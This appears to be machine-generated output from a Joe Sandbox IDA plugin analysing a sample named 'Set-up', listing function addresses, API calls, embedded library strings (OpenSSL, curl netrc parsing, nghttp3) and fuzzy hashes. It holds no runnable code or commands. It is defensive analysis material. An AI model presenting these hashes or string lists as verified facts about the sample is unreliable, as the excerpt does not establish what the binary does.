strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 002EE3C7
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 002EE3DD
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,00000354), ref: 002EE3F8
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,?,00000000,00000000), ref: 002EE41A
MultiByteToWideChar.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 002EE44E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 002EE563
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?), ref: 002EE571

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: ByteCharMultiWide_errno$FileFindNextcallocfreestrlen
String ID:
API String ID: 1393009926-0
Opcode ID: e6d80a3b3afc340fe8fd6b125e2467148ff9c9ea7b876429c30fbf6381220568
Instruction ID: 082abbf6b9f57c5e76324f94a0d02b820f0a65b28230ce799a8300929b0b7b75
Opcode Fuzzy Hash: e6d80a3b3afc340fe8fd6b125e2467148ff9c9ea7b876429c30fbf6381220568
Instruction Fuzzy Hash: FD914730160B829FDB21CF39CC45B76BBA5FF85314F594669E9558B2E2E730E860CB50

Function 001CC900 Relevance: 18.4, APIs: 8, Strings: 4, Instructions: 368COMMON

Download Yara Rule

APIs

memchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(0123456789,00000000,0000000B), ref: 001CCC95

Part of subcall function 001CCDF0: memchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(0123456789abcdef,?,00000011), ref: 001CCEC8
Part of subcall function 001CCDF0: SetLastError.KERNEL32(00000002,00000000,001CCC27,00000004), ref: 001CD109

SetLastError.KERNEL32(00000002), ref: 001CCDD0

Strings

0123456789ABCDEF, xrefs: 001CCA29, 001CCA3E, 001CCAC3, 001CCAD4
:, xrefs: 001CC9B5
0123456789, xrefs: 001CCC5E, 001CCC8E
0123456789abcdef, xrefs: 001CCA03, 001CCA14, 001CCA9A, 001CCAAB

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: ErrorLastmemchr
String ID: 0123456789$0123456789ABCDEF$0123456789abcdef$:
API String ID: 2208448350-3285806060
Opcode ID: 9f3e890277f306e1f863931f5332e91cf730e1a7b30285e6e4f2fef1bee738ab
Instruction ID: d0c1862bb7d8f1a1457e8eb264385af937cc44b63a82de7d5459314b1d4363dc
Opcode Fuzzy Hash: 9f3e890277f306e1f863931f5332e91cf730e1a7b30285e6e4f2fef1bee738ab
Instruction Fuzzy Hash: B6D1D7B2A083058BD7249E68C845B7ABBD1AFA1344F15493DF8CE97281EB74DD84D7C2

Function 002849F0 Relevance: 16.7, Strings: 13, Instructions: 421COMMON

Download Yara Rule

Strings

appl [ %d ], xrefs: 00284CD1
cont [ %d ], xrefs: 00284CC9
prim: , xrefs: 00284B37
(unknown), xrefs: 00284E8D
length is greater than %ld, xrefs: 002853BA
priv [ %d ] , xrefs: 00284C3F
%5ld:d=%-2d hl=%ld l=inf %s, xrefs: 00284B17
Error in encoding, xrefs: 00285392
cons: , xrefs: 00284B09, 00284B32, 00284B3F
%5ld:d=%-2d hl=%ld l=%4ld %s, xrefs: 00284B4D
<ASN1 %d>, xrefs: 00284C67
BAD RECURSION DEPTH, xrefs: 00284A13
%-18s, xrefs: 00284D01

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID:
String ID: %-18s$%5ld:d=%-2d hl=%ld l=%4ld %s$%5ld:d=%-2d hl=%ld l=inf %s$(unknown)$<ASN1 %d>$BAD RECURSION DEPTH$Error in encoding$appl [ %d ]$cons: $cont [ %d ]$length is greater than %ld$prim: $priv [ %d ]
API String ID: 0-2568808753
Opcode ID: ee34a575e83f72ee958e210088de8f20646e6c72a3434c98e6efcb757933a3c0
Instruction ID: 442b0a9993b5af0e59ce6ae8566290d18ed872f7ec74969414974fcb4f35858d
Opcode Fuzzy Hash: ee34a575e83f72ee958e210088de8f20646e6c72a3434c98e6efcb757933a3c0
Instruction Fuzzy Hash: C4E1E379529316AFD720BE14DC41B2FB7E5AF84744F04482DF989932C2E7B5E9208B83

Function 0011A960 Relevance: 15.0, APIs: 3, Strings: 6, Instructions: 1493COMMON

Download Yara Rule

Strings

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 0011ACAF, 0011ADF1
(nil), xrefs: 0011AF85
.%d, xrefs: 0011B1D2
0, xrefs: 0011AEBE
0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 0011A9C6, 0011ACB4, 0011ADF6
-, xrefs: 0011AF2B

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID:
String ID: (nil)$-$.%d$0$0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 0-2555271450
Opcode ID: 118d4a983629975567ac8f091ad59eef4d5993e28c444ceffc2f28f9828a17b7
Instruction ID: 61b1af21023b2429286448d27dce027b6672cd2a07661530c0491330533e275e
Opcode Fuzzy Hash: 118d4a983629975567ac8f091ad59eef4d5993e28c444ceffc2f28f9828a17b7
Instruction Fuzzy Hash: 81C26A7160C3418FCB18CF29C4D06AAB7E2AFD9314F15893DE89A9B351D734ED858B82

Function 00480460 Relevance: 12.0, APIs: 5, Strings: 2, Instructions: 1488COMMON

Download Yara Rule

APIs

memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(00000000,?,?), ref: 004806A3

Strings

, xrefs: 004816D8
, xrefs: 00481813

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: memcpy
String ID: $
API String ID: 3510742995-227171996
Opcode ID: a06d0727aae60a62495961a5ef04ba1441a8261550d2cb222952530f38ea2ff4
Instruction ID: 1cf6aa62d0e99fcffb4cc3818bf5c532e84f01bd31d3131e60659121ac1e5e78
Opcode Fuzzy Hash: a06d0727aae60a62495961a5ef04ba1441a8261550d2cb222952530f38ea2ff4
Instruction Fuzzy Hash: 2DD2A072A087558FC724DF28C88026EF7E1FFC9304F158A2EE99997351D774A846CB86

Function 003587D0 Relevance: 11.1, APIs: 6, Strings: 1, Instructions: 565COMMON

Download Yara Rule

APIs

memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,?), ref: 00358A66
memset.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?), ref: 00358A88
memset.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,00000010), ref: 00358B45
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,?), ref: 00358B59

Strings

providers/implementations/ciphers/cipher_aes_gcm_siv_hw.c, xrefs: 00358A42, 00358F13

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: memcpymemset
String ID: providers/implementations/ciphers/cipher_aes_gcm_siv_hw.c
API String ID: 1297977491-3184136495
Opcode ID: c433adae97f61928431c2441fa313cc9b15ee3b08b68b0e33cd3750a7c5d1630
Instruction ID: 089a079f5c2d5c4f2312f55a3c1d5ce2164cb1f6c6d5e97c6b593f70bd3d1ab7
Opcode Fuzzy Hash: c433adae97f61928431c2441fa313cc9b15ee3b08b68b0e33cd3750a7c5d1630
Instruction Fuzzy Hash: C122E2725087419FD712CF24C881BABBBE4FF96345F084A1DF89597292DB30E949CB92

Function 00494780 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 446stringCOMMON

Download Yara Rule

APIs

strchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,0000002E), ref: 004947A3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 004947C1
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,00000000), ref: 00494800
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00494D16

Strings

xn--, xrefs: 004949D3
H, xrefs: 00494A88

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _strdupmemcpystrchrstrlen
String ID: H$xn--
API String ID: 1602650251-4022323365
Opcode ID: 35c4361637fe97157a5e3cc66b47b057ee7ac6ebc25a40bc3001ce01c2ad4d97
Instruction ID: 2a8d5e537dac38698d2a61e80d561e487182b3de5b8e376fe9ddce112f0ef8c2
Opcode Fuzzy Hash: 35c4361637fe97157a5e3cc66b47b057ee7ac6ebc25a40bc3001ce01c2ad4d97
Instruction Fuzzy Hash: E3E118716087154FDB18DE28D8C0A2ABBD2ABC5314F198B3ED99687385E778DC07874A

Function 0041C050 Relevance: 10.8, APIs: 3, Strings: 4, Instructions: 304COMMON

Download Yara Rule

APIs

memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,?), ref: 0041C090
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,00000102), ref: 0041C0BE

Strings

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz./, xrefs: 0041C0D2, 0041C266
assertion failed: ctx->length <= (int)sizeof(ctx->enc_data), xrefs: 0041C433
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/, xrefs: 0041C0CD, 0041C26B
crypto/evp/encode.c, xrefs: 0041C42E

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: memcpy
String ID: 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz./$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/$assertion failed: ctx->length <= (int)sizeof(ctx->enc_data)$crypto/evp/encode.c
API String ID: 3510742995-2458911571
Opcode ID: 0faad8bc0254b78253eddf97c928a27003f21047b0269de883dcd4d22cc30bc2
Instruction ID: 2b92d99943091aae3d8557eca7fad481542381deca961da924680b681a7c7489
Opcode Fuzzy Hash: 0faad8bc0254b78253eddf97c928a27003f21047b0269de883dcd4d22cc30bc2
Instruction Fuzzy Hash: 5CC10A7560C3958FC715CF58C89076ABBE1AF96304F0989AEF8D58B382D338E945CB52

Function 00272430 Relevance: 8.0, Strings: 4, Instructions: 2966COMMON

Download Yara Rule

Strings

@, xrefs: 00274EA7
ssl/quic/quic_txp.c, xrefs: 00272A29, 00273096, 00273477, 0027357D, 00273FDE, 00274101
@, xrefs: 00274F5D
@, xrefs: 00274DB4

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID:
String ID: @$@$@$ssl/quic/quic_txp.c
API String ID: 0-600063881
Opcode ID: 77629711454b6b7c94628850b19d2dea4101470affd80c82c5c567196464e062
Instruction ID: 8de2ab82da86fc06850ac0260fbb543f6e7ca166f748db9a50f7ac6d5bb945c4
Opcode Fuzzy Hash: 77629711454b6b7c94628850b19d2dea4101470affd80c82c5c567196464e062
Instruction Fuzzy Hash: E353D171A183428FD724DF28C881BAAB7E5BF84314F14892DE89D97391E771E954CF82

Function 00176210 Relevance: 7.9, Strings: 6, Instructions: 419COMMON

Download Yara Rule

Strings

netrc.c, xrefs: 00176243, 00176541, 0017655C, 00176609, 00176627, 001766DD, 001766F7, 0017670E, 0017673F, 0017676B
macdef, xrefs: 0017643B
default, xrefs: 00176471
machine, xrefs: 00176456, 00176656
password, xrefs: 001765C6
login, xrefs: 001764FF

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID:
String ID: default$login$macdef$machine$netrc.c$password
API String ID: 0-1043775505
Opcode ID: f35252e4e3167de2afbe0365010fbd69635b41997c29c3f107f0ac2a7b5f3905
Instruction ID: e304eef3e6905e9abc7c98ea1cb8eaefe84fc1637aa27592cab3381e62850db1
Opcode Fuzzy Hash: f35252e4e3167de2afbe0365010fbd69635b41997c29c3f107f0ac2a7b5f3905
Instruction Fuzzy Hash: 71E1117050C7519FE3149E209885B6FBBF4AF95748F18882CF9CD5B282E3B59948CB92

Function 002800F0 Relevance: 6.4, APIs: 1, Strings: 3, Instructions: 404stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,0008000F,00000008,?,00302212,00000000,00000000), ref: 00280109

Part of subcall function 002C7220: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C7262
Part of subcall function 002C7220: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C7285
Part of subcall function 002C7220: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C72C5
Part of subcall function 002C7220: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002C72E8

Strings

a2d_ASN1_OBJECT, xrefs: 00280128, 0028014A, 002805BD
1, xrefs: 00280328
crypto/asn1/a_object.c, xrefs: 0028012F, 00280151, 0028039E, 002803B4, 002805C3, 002805FC, 0028062C

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strlen$strcpy
String ID: 1$a2d_ASN1_OBJECT$crypto/asn1/a_object.c
API String ID: 2790333442-843477118
Opcode ID: 3d45becf2307d87280054217aaad4f4874951b1c2830334ca9b96a2d7d21da5a
Instruction ID: 78d6ba0e18468d1d225ebba03587c9fcd9751885a135ab71d4a887d62b7c9274
Opcode Fuzzy Hash: 3d45becf2307d87280054217aaad4f4874951b1c2830334ca9b96a2d7d21da5a
Instruction Fuzzy Hash: 79E17B7592D3118BD761AF28C8C171EB7E1AF91750F048B2DF8D8672D2E374D8688B82

Function 001BE070 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 436COMMON

Download Yara Rule

APIs

_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0((size_t)(p - buf->last) == len,nghttp3_qpack.c,000007B9,?,?,?,?,?,?,?,001BC1CE,?,00000003,?), ref: 001BE4EE

Strings

(size_t)(p - buf->last) == len, xrefs: 001BE4E9
nghttp3_qpack.c, xrefs: 001BE4E4

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
